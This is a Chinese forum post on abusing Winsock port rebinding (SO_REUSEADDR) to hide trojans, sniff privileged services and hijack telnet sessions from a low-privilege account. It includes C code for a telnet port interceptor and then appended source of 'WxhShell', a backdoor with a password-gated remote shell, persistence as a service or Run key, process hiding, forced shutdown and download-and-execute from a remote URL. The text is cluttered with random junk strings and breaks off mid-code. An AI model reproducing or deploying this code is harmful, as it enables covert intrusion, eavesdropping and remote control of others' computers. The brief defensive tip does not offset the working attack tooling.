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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2Nn1-wdhb  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +oy&OKCa  
^ L ^F=qx  
  saddr.sin_family = AF_INET; tQ~<i %;  
X B*}P  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); |:9Ir^  
Q)S>VDLA  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `xUG|  
3%R{"Q"  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 8rwYNb.P  
^%8qKC`Tt  
  这意味着什么?意味着可以进行如下的攻击: xb>n&ym?  
Mi}I0yhVm  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 h.V]fS  
|= cCv_y  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %X9b=%'+  
-+}5ma  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 T;!ukGoFP  
\E@s_fQ]  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  GVG!sM mnX  
8PBU~mr  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 r!$'!lCR  
9k:W1wgH1  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 /zG +]  
gcg>Gjp  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 (`6%og#8  
mF'-Is  
  #include Xlv#=@;O]  
  #include Y}LLOj@L  
  #include #, Q}NO#vT  
  #include    R zS|dGNQE  
  DWORD WINAPI ClientThread(LPVOID lpParam);   UP;Q=t  
  int main() &$qF4B*  
  { l(%k6  
  WORD wVersionRequested; > BNw  
  DWORD ret; b]*X<,p  
  WSADATA wsaData; mz\NFC<  
  BOOL val; R-pH Quu3  
  SOCKADDR_IN saddr; gg-};0P-  
  SOCKADDR_IN scaddr; ?MC(}dF0  
  int err; B6bOEPQ  
  SOCKET s; EZ"bW  
  SOCKET sc; ;1W6"3t-Y  
  int caddsize; (=1q!c`  
  HANDLE mt; \=!H2M  
  DWORD tid;   5`{vE4A]q  
  wVersionRequested = MAKEWORD( 2, 2 ); )O3jQ_q=  
  err = WSAStartup( wVersionRequested, &wsaData ); <%z@  
  if ( err != 0 ) { 1E8H%2$ V  
  printf("error!WSAStartup failed!\n"); S _!hsY  
  return -1; }:`5,b%Y_  
  } ImIqD&a-h  
  saddr.sin_family = AF_INET; 1^C|k(t  
   _>Pk8~m  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 iJdP>x  
H9RGU~q4s[  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); jfUJ37zNZr  
  saddr.sin_port = htons(23); b5j*xZv  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) XGfzEld2"  
  { D_d|=i  
  printf("error!socket failed!\n"); 6Rcu a<;2P  
  return -1; ~TDzq -U)  
  } 4`nqAX~'f  
  val = TRUE; ?6i;)eIOI  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 3AURzU  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) {6'*Phw  
  { {odA[H  
  printf("error!setsockopt failed!\n"); SIq1X'7  
  return -1; a3q\<"|  
  } (ZV;$N-t  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; {j?7d; 'j  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 RqXi1<6j#  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ]pnYvXf>!  
v ~"Ef_`  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) k6@b|  
  { J58#$NC `'  
  ret=GetLastError(); 1otspOy  
  printf("error!bind failed!\n"); =7 VCtd/  
  return -1; :NuR>~  
  } d.`&0  
  listen(s,2); HsnG4OE  
  while(1) \c{R <Hh  
  {  ="\*h(  
  caddsize = sizeof(scaddr); W;q+,Io  
  //接受连接请求 Q',m{;;  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); EX:{EmaT  
  if(sc!=INVALID_SOCKET) W,3zL.qH"  
  { o(qEkR:4kd  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); c3] C:t+  
  if(mt==NULL) XLm@etf  
  { I}+;ME|<2  
  printf("Thread Creat Failed!\n"); $jG4pPG  
  break; 0Uw ^FcW  
  } WSLy}@`Vx  
  } !h CS#'  
  CloseHandle(mt); UfR~%p>K  
  } IIxJqGN:  
  closesocket(s); e_/x&a(i8  
  WSACleanup(); s~J=<)T*6  
  return 0; &~#iIk~%  
  }   aG! *WHt  
  DWORD WINAPI ClientThread(LPVOID lpParam) D{p5/#|r  
  { VD$ Eb  
  SOCKET ss = (SOCKET)lpParam; )~V }oKk0t  
  SOCKET sc; CWi8Fv  
  unsigned char buf[4096]; =&Xdm(  
  SOCKADDR_IN saddr; tz4 ]hF  
  long num; tPU-1by$  
  DWORD val; =i>\2J%'R  
  DWORD ret; \dcdw* v@  
  //如果是隐藏端口应用的话,可以在此处加一些判断 IU#x[P!  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   9#k0_vDoW  
  saddr.sin_family = AF_INET; A W HU'  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ?x3Jv<G0*  
  saddr.sin_port = htons(23); :.uk$jx  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) h^oH^moq<  
  { #. ct5  
  printf("error!socket failed!\n"); eA=WGy@IcN  
  return -1; YEv Lhh  
  } t> . Fl-  
  val = 100; 3b!,D  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) gnLn7?  
  { Jdj?I'XtY  
  ret = GetLastError(); 51by  
  return -1; ~W03{9(Vp8  
  } uS<_4A;sD,  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $^_|j1 z#i  
  { p|qyTeg  
  ret = GetLastError(); ;YyXT"6/p  
  return -1; n ~,t QV  
  } !tNd\ }@  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) m"d/b~q  
  { #NNewzC<*  
  printf("error!socket connect failed!\n"); cozXb$bBY  
  closesocket(sc); dqc1 q:k?$  
  closesocket(ss); 3`F) AWzdr  
  return -1; @r;wobt  
  } oyx^a9  
  while(1) s8<gK.atl  
  { }Ln@R~[  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 GABQUmtH  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 PJLR<9  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ]@ M5_%p  
  num = recv(ss,buf,4096,0); Yr+23Ro  
  if(num>0) 7G9 3,dJ  
  send(sc,buf,num,0); j9R6ta3\l  
  else if(num==0) s B 20/F  
  break; edvFQ#,d  
  num = recv(sc,buf,4096,0); 7J*N_8?2  
  if(num>0) ?+2b(2&MXE  
  send(ss,buf,num,0); PmX2[7  
  else if(num==0) sL^yB  
  break; < <Y}~N  
  } CN&  
  closesocket(ss); *>q/WLR  
  closesocket(sc); sZhM a>  
  return 0 ; ^3]UZ@  
  } @;Opx."  
?j O 5 9n  
kc$)^E7  
========================================================== +wO#'D  
pz|'l:v^  
下边附上一个代码,,WXhSHELL ..W-76{  
s9)8b$t]  
========================================================== LM)`CELsYc  
f{&bOF v  
#include "stdafx.h" ?KE$r~dn  
OMrc_)he\  
#include <stdio.h> $V>yXhTh  
#include <string.h> Y&.UIosWb  
#include <windows.h> !mJo'K  
#include <winsock2.h> X/0v'N  
#include <winsvc.h> ;xYNX  
#include <urlmon.h> CE%_A[a  
?]O7Ao  
#pragma comment (lib, "Ws2_32.lib") kv{}C)kt3  
#pragma comment (lib, "urlmon.lib") l$xxrb9P!  
d_z 59  
#define MAX_USER   100 // 最大客户端连接数 3=0E!e  
#define BUF_SOCK   200 // sock buffer K^l:MxO-X  
#define KEY_BUFF   255 // 输入 buffer Ms^dRe)  
mpw~hW0-  
#define REBOOT     0   // 重启 ZWUP^V  
#define SHUTDOWN   1   // 关机 3gZ8.8q3  
3_$w| ET  
#define DEF_PORT   5000 // 监听端口 jXg  
BJ}D%nm}  
#define REG_LEN     16   // 注册表键长度 P9Q~r<7n  
#define SVC_LEN     80   // NT服务名长度 !CTxVLl"F  
J([s5:.[  
// 从dll定义API Z|lU8`'5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #Pk$L+C  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); N)2f7j4C &  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z.PBu|Kx  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5z}w}zdg  
<Zb/  
// wxhshell配置信息 TUK"nKSZ`.  
struct WSCFG { W_|0y4QOo  
  int ws_port;         // 监听端口 `)iY}Iu  
  char ws_passstr[REG_LEN]; // 口令 r,1e 'd:  
  int ws_autoins;       // 安装标记, 1=yes 0=no }T2xXbU  
  char ws_regname[REG_LEN]; // 注册表键名 D;}xr_  
  char ws_svcname[REG_LEN]; // 服务名 pKUP2m`MW  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 K5>p89mZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2}6%qgnT-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =T?}Nt  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -Apc$0ZsN  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {Azn&|%.t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @$^bMIj@W  
e}Vw!w  
}; z;tI D~Y  
c_grPk2O4  
// default Wxhshell configuration '@|_OmcY  
struct WSCFG wscfg={DEF_PORT, %]gTm7 =t  
    "xuhuanlingzhe", $@-P5WcRs  
    1, zET^T5>:  
    "Wxhshell", B(g_Gm<  
    "Wxhshell", Q#I"_G&{  
            "WxhShell Service", #p(h]T32  
    "Wrsky Windows CmdShell Service", BXms;[  
    "Please Input Your Password: ", ^n Jyo:DO;  
  1, Dr&('RZ4  
  "http://www.wrsky.com/wxhshell.exe", )> ,wj  
  "Wxhshell.exe" $,=6[T!z+e  
    }; SvM6iZ]  
]B"'}%>ez  
// 消息定义模块 jdZ~z#`(!:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !)"%),>}o  
char *msg_ws_prompt="\n\r? for help\n\r#>"; RcG0 8p.)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -H^oXeN  
char *msg_ws_ext="\n\rExit."; Bs+(L [Z  
char *msg_ws_end="\n\rQuit."; r`y ezbG  
char *msg_ws_boot="\n\rReboot..."; u-D dq~;|  
char *msg_ws_poff="\n\rShutdown..."; hd\gH^wk  
char *msg_ws_down="\n\rSave to "; Mv 544>:  
W :,4:|3  
char *msg_ws_err="\n\rErr!"; $EZN1\  
char *msg_ws_ok="\n\rOK!"; {^mNJ  
z?/1Kj}xG  
char ExeFile[MAX_PATH]; omO S=d!o  
int nUser = 0; FuG4F  
HANDLE handles[MAX_USER]; .;y#  
int OsIsNt; }jt?|dl1  
yzw mT  
SERVICE_STATUS       serviceStatus; KH)D 08  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; LZJA4?C  
Ee)[\Qjn  
// 函数声明 =L%DX#8  
int Install(void); +d+@u)6  
int Uninstall(void); !-2R;yo12  
int DownloadFile(char *sURL, SOCKET wsh); _\Q^x)w6  
int Boot(int flag); W>r#RXmh  
void HideProc(void); n55Pv3}C  
int GetOsVer(void); iLP7!j  
int Wxhshell(SOCKET wsl); Tus}\0/i>  
void TalkWithClient(void *cs); |b-9b&  
int CmdShell(SOCKET sock); `p;eIt  
int StartFromService(void); M;cO0UIwO  
int StartWxhshell(LPSTR lpCmdLine); U~h'*nV&  
xq-17HKs  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7^wc)E^H  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~!s-o|N_\  
ur :i)~wXn  
// 数据结构和表定义 u p.Q>28r  
SERVICE_TABLE_ENTRY DispatchTable[] = l Z#o+d2Y  
{ lzw3=H  
{wscfg.ws_svcname, NTServiceMain}, ,NnhHb2\  
{NULL, NULL} sK{l 9  
}; +iRq8aS_  
.Ha'p.  
// 自我安装 L;gO;vO  
int Install(void) Cm$.<CV  
{ 4&8Gr0C  
  char svExeFile[MAX_PATH]; ,yd MU\so(  
  HKEY key; ]| N3eu  
  strcpy(svExeFile,ExeFile); ^~{$wVGa  
?9l [y  
// 如果是win9x系统,修改注册表设为自启动 `cPywn@uGZ  
if(!OsIsNt) { g{W;I_P^9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3qY K_M^[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y=In?QN{6*  
  RegCloseKey(key); ??n*2s@t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  K;LZ-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .(pN5JI*  
  RegCloseKey(key); :2njp%  
  return 0; ;'81jbh  
    } [((;+B  
  } wApMzZ(X2y  
} *Zm^ ~Vo  
else { )tCX y4  
-n'F v@U  
// 如果是NT以上系统,安装为系统服务 )c l5B{1P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Zy|Mz&  
if (schSCManager!=0) sp@E8G%xO  
{ ,K:ll4{b  
  SC_HANDLE schService = CreateService m*$|GW9  
  ( P2nft2/eu?  
  schSCManager, spasB=E  
  wscfg.ws_svcname, k}KC/d9.z  
  wscfg.ws_svcdisp, b;)~wU=  
  SERVICE_ALL_ACCESS, ,f1q)Qf  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /y^7p9Z`  
  SERVICE_AUTO_START, WK="J6K5  
  SERVICE_ERROR_NORMAL, b T 2a40ul  
  svExeFile, FQ>`{%>  
  NULL, N}\[Gr  
  NULL, aR,}W\6M  
  NULL, TYI7<-Mp:[  
  NULL, >vuY+o;B  
  NULL e" ]2=5g  
  ); %cE 2s`  
  if (schService!=0) ^<LY4^  
  { R\XKMF3mN3  
  CloseServiceHandle(schService); CgzD$`~  
  CloseServiceHandle(schSCManager); y^]tahbo  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c1%H4j4/  
  strcat(svExeFile,wscfg.ws_svcname); CRbdAqofV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { fX jG5Tv  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %Th>C2\  
  RegCloseKey(key); - Ij&  
  return 0; ;Ag 3c+  
    } q5>v'ZSo  
  } :>itXD!  
  CloseServiceHandle(schSCManager); *6 _tQ9G  
} "*,XL uv>  
} QXF aAb=(7  
;/j= Ny{9  
return 1; [!%![E  
} `b c;]@"  
Fq9Q+RNMZL  
// 自我卸载 zD3mX<sw  
int Uninstall(void) 9<K j6t_  
{ F#|: `$ t  
  HKEY key; ,t)x{I;C)  
sBV 4)xM  
if(!OsIsNt) { 1Z{ZV.!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3=W!4  
  RegDeleteValue(key,wscfg.ws_regname); 9o>8o  
  RegCloseKey(key); Z'H5,)j0R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &i!vd/*WlD  
  RegDeleteValue(key,wscfg.ws_regname); pIbdN/z  
  RegCloseKey(key); wO2_DyMm@  
  return 0; nYbhy} y  
  } $ "Bh]-  
} pHoEa7:  
} 4nAa`(62  
else { 7}jWBK  
G|\^{ 5   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); f<A5?eKw  
if (schSCManager!=0) .Vq)zi1<  
{ b,KcBQ.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qH['09/F6  
  if (schService!=0) `Y?87f:SP  
  { <, 3ROo76  
  if(DeleteService(schService)!=0) { c^`]`xiX  
  CloseServiceHandle(schService); /*|oL# hK  
  CloseServiceHandle(schSCManager); 0zY(:;X  
  return 0; %p X6QRt?  
  } x1 1U@jd+1  
  CloseServiceHandle(schService); @(C1_  
  } $`Ix:gi  
  CloseServiceHandle(schSCManager); sl*5Y#,|1  
} hR5_+cuIp  
} 5JhdV nT_  
.UoOO'1K  
return 1; ZIdA\_c  
} <'G~8tA%v  
Xv@SxS-5l  
// 从指定url下载文件 L4L2O7  
int DownloadFile(char *sURL, SOCKET wsh) <_(/X,kBK  
{ c)0amM  
  HRESULT hr; $wYFEz  
char seps[]= "/"; 4~U'TE @  
char *token; jmg!Ml  
char *file; pKS {6P  
char myURL[MAX_PATH]; {-BRt)L[  
char myFILE[MAX_PATH]; f3|@|' ;  
FYS/##r  
strcpy(myURL,sURL); upvS|KUil  
  token=strtok(myURL,seps); -R>}u'EG>  
  while(token!=NULL)  X\}Y  
  { $)H@|< K  
    file=token; ,YhdY 6  
  token=strtok(NULL,seps); Cye$H9 2  
  } ={?v Ab:  
7H>@iI"?  
GetCurrentDirectory(MAX_PATH,myFILE); RmrL^asg  
strcat(myFILE, "\\"); ddVa.0Z!<  
strcat(myFILE, file); jgS%1/&  
  send(wsh,myFILE,strlen(myFILE),0); ]59i>  
send(wsh,"...",3,0); c]B$i*t  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <5=JE*s$NS  
  if(hr==S_OK) SR*wvQnOx  
return 0; 5'a3huRtV  
else M/Pme&%  
return 1; PR|R`.QSs  
,#W  
} V<HU6w  
5PcJZi^.l  
// 系统电源模块 tRpEF2  
int Boot(int flag) +\Q?w?DE|  
{ m*X[ Jtr  
  HANDLE hToken; E+C5 h ;p&  
  TOKEN_PRIVILEGES tkp; i@NqC;~;  
4 g. bR  
  if(OsIsNt) { 1009ES7*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ny-7P;->8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); fJZp?e"  
    tkp.PrivilegeCount = 1; /=uMk]h  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; PCnQ_A-Q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); PM":Vd/  
if(flag==REBOOT) { #y|V|nd  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?[x49Ux,P  
  return 0; {K#NB_*To  
} ~el3I=KC}  
else { $hxN hI  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $(Ugtimdv  
  return 0; 7kKy\W  
} mW%?>Z1=>d  
  } .yENM[-bQ  
  else { _if|TFw;h  
if(flag==REBOOT) { %7`f{|.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !QmzrX}h  
  return 0; ZtVAEIZ)  
} y$hp@m'@C  
else { midsnG+jnf  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) TO,rxf  
  return 0; `IINq{Zk  
} FI8Oz,  
} U=sh[W  
NvjJ b-u  
return 1;  QH]M   
} l!E7A Kk8  
#<( = }?  
// win9x进程隐藏模块 c^8o~K>w84  
void HideProc(void) ,a?\M M9$  
{ 1p`+  
SvvUkQ#1w  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *sQcg8{^  
  if ( hKernel != NULL ) nxQ?bk}*d  
  { 8 6QE /M  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1r r@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); O?EB8RB  
    FreeLibrary(hKernel); 4\.V   
  } EPW7+Ve  
c':ezEaC  
return; C9S@v D+  
} 'cDx{?  
URcR  
// 获取操作系统版本 5sde  
int GetOsVer(void) H]<]^Zmjy  
{ "%8A :^1  
  OSVERSIONINFO winfo; A{o'z_zC  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); uQLlA&I"  
  GetVersionEx(&winfo); +w| 9x.&W  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) V's:>;  
  return 1; XC15K@K  
  else VVWM9x  
  return 0; q&'Lbxc>c  
} /.5;in  
k6IG+:s  
// 客户端句柄模块 "fQRk  
int Wxhshell(SOCKET wsl) 2=PBxDs;  
{ Jeqxspn T  
  SOCKET wsh; FqA3  {  
  struct sockaddr_in client; i`%.  
  DWORD myID; ;)DzC c/  
s_jBu  
  while(nUser<MAX_USER) 4aZCFdc  
{ c(- Mc6  
  int nSize=sizeof(client); iZ[tHw||  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); BH0!6Oq  
  if(wsh==INVALID_SOCKET) return 1; "C%!8`K{a*  
9CUimZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;~HNpu$  
if(handles[nUser]==0) `NwdbKX  
  closesocket(wsh); _J?SIm  
else >',y  
  nUser++; ;kaHN;4?  
  } AZFWuPJo  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |U[y_Y\a  
#_Ea[q7v  
  return 0; `0BdMKjA  
} a ib}`l  
^[h2%c$  
// 关闭 socket 2xmk,&s  
void CloseIt(SOCKET wsh) HOYq?40.R  
{ g jG2  
closesocket(wsh); mp `PE=  
nUser--; O{KB0"s>i  
ExitThread(0); D#sf i,O  
} ].DY"  
!"4w&bQ  
// 客户端请求句柄 snk$^  
void TalkWithClient(void *cs) {ctwo X[;  
{ }(i(Ar-  
i|2$8G3  
  SOCKET wsh=(SOCKET)cs; C@dGWAG  
  char pwd[SVC_LEN]; \v`#|lT$  
  char cmd[KEY_BUFF]; M|CrBJv+F  
char chr[1]; R lg#z4m  
int i,j; 9$tl00  
:k!j"@r  
  while (nUser < MAX_USER) { q@Kk\m  
cqQRU  
if(wscfg.ws_passstr) { _%IqjJO{=r  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nTZ> |R)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <%!J?  
  //ZeroMemory(pwd,KEY_BUFF); G:+16XCra  
      i=0; CM 9P"-  
  while(i<SVC_LEN) { gg8c7d:Q  
.w'vD/q;  
  // 设置超时 ,RK3eQ  
  fd_set FdRead; @%B4;c  
  struct timeval TimeOut; ('WY5Yps  
  FD_ZERO(&FdRead); k/#M<z  
  FD_SET(wsh,&FdRead); LP>UU ,Z  
  TimeOut.tv_sec=8; "|4jP za  
  TimeOut.tv_usec=0; P0#`anUr1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); zUQe0Gc.b^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); A7'bNd6f9  
(UzPklkZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PPgW ^gj  
  pwd=chr[0]; G^KC&  
  if(chr[0]==0xd || chr[0]==0xa) { " Z;uu)NE  
  pwd=0; ;C_ >  
  break; @ KJV1t`  
  } FQ##397  
  i++; E._hg+ (Hi  
    } e?vj+ZlS$f  
(fd[P|G_]  
  // 如果是非法用户,关闭 socket Cgo XZX  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @Z=wE3T@  
} sy.:T]ZH  
RO$*G jQd  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); r]-+bR  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tj#b_ u z  
C M^r|4 K  
while(1) { u7u~  
BJIFl!w  
  ZeroMemory(cmd,KEY_BUFF); 9F)W19i.  
}6@%((9E 2  
      // 自动支持客户端 telnet标准   e#m1X6$.e  
  j=0; 5C65v:Q`N  
  while(j<KEY_BUFF) { `r9^:TMN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XJ\_ V[WA  
  cmd[j]=chr[0]; U 5clQiow  
  if(chr[0]==0xa || chr[0]==0xd) { 5IO3 %p?  
  cmd[j]=0; sOC| B  
  break; y0y+%H-  
  } yW:AVqE)t  
  j++; _Ua PwJ  
    } 3m~U(yho  
?9qAe  
  // 下载文件  X)y*#U  
  if(strstr(cmd,"http://")) { Lm.Ik}Gli  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); E~qK&7+  
  if(DownloadFile(cmd,wsh)) #-A5Z;TD.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); DSTx#*  
  else hOV_Oqe4?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }:"R-s  
  } |B,dEx/uU  
  else { np= J:v4  
HN^w'I'bp  
    switch(cmd[0]) { gMCy$+?  
  cx<h_  
  // 帮助 jw/ wcP  
  case '?': { }&=uZ:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cFe V?a  
    break; mJ/^BT]  
  } /^NJ)9IB  
  // 安装 "rL"K  
  case 'i': { eO~eu]r  
    if(Install()) ;%M2x5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _8Pmv$   
    else ik8|9m4/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o$*bm6o  
    break; :LU"5g  
    } ;B,nzx(L  
  // 卸载 lK_ ~d_f  
  case 'r': { V}j %gy`  
    if(Uninstall()) U;^CU!a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B!$V\Gs  
    else &E} I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "h^A]t;qe  
    break; v#{G8'+%  
    } -9hp+0 <  
  // 显示 wxhshell 所在路径 vsOdp:Yp9!  
  case 'p': { -Y5YCY!`  
    char svExeFile[MAX_PATH]; g/fp45s  
    strcpy(svExeFile,"\n\r"); OaX HJ^k  
      strcat(svExeFile,ExeFile); 7*R{u*/e  
        send(wsh,svExeFile,strlen(svExeFile),0); &\CJg'D:m  
    break; $w 5#2Za  
    } liBAJx  
  // 重启 GLbc/qs  
  case 'b': { -6.i\ B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Fr938q6^-  
    if(Boot(REBOOT)) V'Sd[*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U}mL, kj"  
    else { O6*'gnke  
    closesocket(wsh); (,d4"C  
    ExitThread(0); bW,BhUb,|  
    } Qivf|H619  
    break; B]+7 JB  
    } 7UeE(=Hr5  
  // 关机 __oY:d(~  
  case 'd': { 9&|12x$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); dXf]G6  
